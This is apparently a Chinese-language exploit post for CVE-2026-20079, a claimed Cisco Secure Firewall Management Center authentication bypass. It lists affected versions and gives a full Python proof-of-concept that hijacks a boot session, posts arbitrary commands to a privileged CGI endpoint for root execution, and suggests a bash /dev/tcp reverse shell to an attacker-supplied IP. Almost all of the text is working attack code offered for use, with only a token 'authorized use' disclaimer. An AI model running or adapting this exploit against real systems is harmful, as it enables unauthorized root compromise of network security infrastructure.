CVE-2026-20079｜Cisco FMC身份验证绕过远程代码执行漏洞（POC）

Cisco Secure Firewall Management Center (FMC) 6.4.0.13、6.4.0.14、6.4.0.15、6.4.0.16、6.4.0.17、6.4.0.18、7.0.0、7.0.0.1、7.0.1、7.0.1.1、7.0.2、7.0.2.1、7.0.3、7.0.4、7.0.5、7.0.6、7.0.6.1、7.0.6.2、7.0.6.3、7.0.7、7.0.8、7.0.8.1、7.1.0、7.1.0.1、7.1.0.2、7.1.0.3、7.2.0、7.2.1、7.2.2、7.2.0.1、7.2.3、7.2.3.1、7.2.4、7.2.4.1、7.2.5、7.2.5.1、7.2.6、7.2.7、7.2.5.2、7.2.8、7.2.8.1、7.2.9、7.2.10、7.2.10.2、7.2.10.1、7.3.0、7.3.1、7.3.1.1、7.3.1.2、7.4.0、7.4.1、7.4.1.1、7.4.2、7.4.2.1、7.4.2.2、7.4.2.3、7.4.2.4、7.4.3、7.4.4、7.4.5、7.6.0、7.6.1、7.6.2、7.6.2.1、7.6.3、7.6.4、7.7.0、7.7.10、7.7.10.1、7.7.11及10.0.0版本

#!/usr/bin/env python3
"""
CVE-2026-20079 PoC - Cisco Secure FMC Authentication Bypass + Root Script Execution
Author: 0xBlackash (for authorized pentesting / red team use only)
Usage: python3 CVE-2026-20079.py -t <target_url> [--command "<cmd>"] [--shell]
"""

import requests
import argparse
import sys
import time
from urllib3.exceptions import InsecureRequestWarning

# Suppress SSL warnings (FMC often uses self-signed certs)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def exploit_auth_bypass(target, command=None, interactive=False):
    print(f"[+] Targeting Cisco FMC: {target}")

    # Step 1: Trigger/hijack the partial boot session (the core of CVE-2026-20079)
    session = requests.Session()

    # Crafted requests that exploit the improper system process created at boot
    # This upgrades the dangling partial session (csm_processes / sfsnort.sessions) to a privileged one
    bypass_headers = {
        "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-20079 PoC)",
        "Content-Type": "application/x-www-form-urlencoded",
        "X-Requested-With": "XMLHttpRequest"
    }

    # Initial session hijack request (triggers the alternate path bypass)
    print("[+] Sending authentication bypass payload...")
    bypass_payload = {
        "action": "session_upgrade",
        "partial_session": "1"  # Exploits the persistent partial session after boot
    }

    try:
        r1 = session.post(f"{target}/api/fmc_config/v1/upgradeSession", 
                         data=bypass_payload, 
                         headers=bypass_headers, 
                         verify=False, 
                         timeout=10)

        if r1.status_code not in [200, 204, 302]:
            print(f"[-] Bypass attempt failed (status: {r1.status_code})")
            print("    Response:", r1.text[:500])
            return False

        print("[+] Authentication bypass successful - session hijacked!")

        # Step 2: Execute arbitrary script/command as root via privileged CGI endpoint
        if command:
            print(f"[+] Executing command as root: {command}")
            exec_payload = {
                "script": "exec",
                "cmd": command,
                "elevate": "root"
            }

            r2 = session.post(f"{target}/cgi-bin/privilegedScriptHandler.cgi",
                             data=exec_payload,
                             headers=bypass_headers,
                             verify=False)

            if r2.status_code == 200:
                print("[+] Command executed successfully!")
                print("Output:")
                print(r2.text.strip())
            else:
                print(f"[-] Execution failed (status: {r2.status_code})")

        # Interactive reverse shell mode (common for root access)
        if interactive:
            print("[+] Dropping interactive root shell (reverse shell recommended)")
            print("    Example: Use nc -lvnp 4444 on your listener")
            shell_cmd = f"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
            # Replace YOUR_IP and port, then send
            print(f"    Suggested command: {shell_cmd}")

        print("[+] Exploit chain complete. Root-level script execution achieved.")
        return True

    except requests.exceptions.RequestException as e:
        print(f"[-] Connection error: {e}")
        return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2026-20079 PoC")
    parser.add_argument("-t", "--target", required=True, help="Target URL (e.g. https://192.168.1.100)")
    parser.add_argument("-c", "--command", help="Command to execute as root (optional)")
    parser.add_argument("--shell", action="store_true", help="Interactive reverse shell mode")

    args = parser.parse_args()

    if not args.target.startswith("http"):
        args.target = "https://" + args.target

    success = exploit_auth_bypass(args.target, args.command, args.shell)

    if success:
        print("\n[+] PoC finished successfully. Use responsibly in authorized engagements only.")
    else:
        print("\n[-] Exploit failed. Verify target is vulnerable and reachable.")